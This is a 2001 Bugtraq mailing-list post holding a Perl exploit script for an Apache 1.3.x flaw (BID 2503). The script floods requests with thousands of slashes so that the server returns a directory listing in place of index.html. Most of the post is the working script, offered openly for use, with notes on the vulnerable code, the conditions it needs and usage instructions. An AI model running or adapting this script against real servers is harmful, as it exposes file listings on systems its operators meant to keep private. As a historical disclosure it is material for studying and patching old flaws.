Bugtraq ID 2503 : Apache Artificially Long Slash Path Directory Listing Exploit
Date: Wed, 13 Jun 2001 02:44:35 -0500
From: Matt Watchinski <matt@farm9.com>
To: bugtraq@securityfocus.com
Subject: Bugtraq ID 2503 : Apache Artificially Long Slash Path Directory Listing Exploit
#!/usr/bin/perl
#
# farm9, Inc. (copyright 2001)
#
# Name: Apache Artificially Long Slash Path Directory Listing Exploit
# Author: Matt Watchinski
# Ref: SecurityFocus BID 2503
#
# Affects: Apache 1.3.17 and below
# Tested on: Apache 1.3.12 running on Debian 2.2
#
# Info: This exploit tricks apache into returning a Index of the a
directory
# even if an index.html file is present. May not work on some OS's
#
# Details: http_request.c has a subroutine called ap_sub_req_lookup_file
that in
# very specific cases would feed stat() a filename that was longer
than
# stat() could handle. This would result in a condition where stat()
# would return 0 and a directory index would be returned instead of
the
# default index.html.
#
# Code Fragment: /src/main/http_request.c
# if (strchr(new_file, '/') == NULL) {
# char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
#
# rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
# rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
# ap_parse_uri(rnew, rnew->uri); /* fill in parsed_uri values
*/
# if (stat(rnew->filename, &rnew->finfo) < 0) { <-- Important
part
# rnew->finfo.st_mode = 0;
# }
#
# Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be
enabled
# The directory must also have the following Options enabled:
# Indexes and MultiView
# Some OS's have different conditions on the number of character
# you have to pass to stat to make this work. If stat doesn't
# return 0 for path names less than 8192 or so internal apache
# buffer checks will stop this exploit from working.
#
# Debian needed around 4060 /'s to make this work.
#
# Greets: Special thanks to natasha who added a lot of debug to apache
for me
# while i was trying to figure out what had to be enabled to make this
# exploit work. Also thanks to rfp for pointing out that MultiView
# needed to be enabled.
#
# More Greets: Jeff for not shooting me :) <All your Cisco's belong to
us>
# Anne for being so sexy <I never though corporate
espionage
# would be so fun>
# All my homies at farm9
# DJ Charles / DJ NoloN for the phat beats
# Marty (go go gadget snort)
# All my ex-bees
# RnVjazpIaXZlcndvcmxk
#
# I think that wraps it up. Have fun.
#
# Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
# Where: Hi and low are the range for the number of / to try
#
use IO::Socket;
$low = $ARGV[3]; #Low number of slash characters to try
$hi = $ARGV[2]; #High number of slash characters to try
$port = $ARGV[1]; #Port to try to connect to
$host = $ARGV[0]; #Host to try to connect to
# Main loop. Not much to this exploit once you figure out what needed
to
# be enabled. Need to do some more testing on sub-dirs to see if it
# works with them. It should. Also different OS's might use a differnt
number
# of /. Send me the numbers if you don't mind matt@farm9.com
while($low <= $hi)
{
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "TCP") or die "Connect Failed";
$url = "";
$buffer = "";
$end = "";
$url = "GET ";
$buffer = "/" x $low . " HTTP/1.0\r\n";
$end = "\r\n\r\n";
$url = $url . $buffer . $end;
print $socket "$url";
while(<$socket>)
{
if($_ =~ "Index of")
{
print "Found the magic number: $low\n";
print "Now go do it by hand to to see it all\n";
close($socket);
exit;
}
}
close($socket);
$low++
}
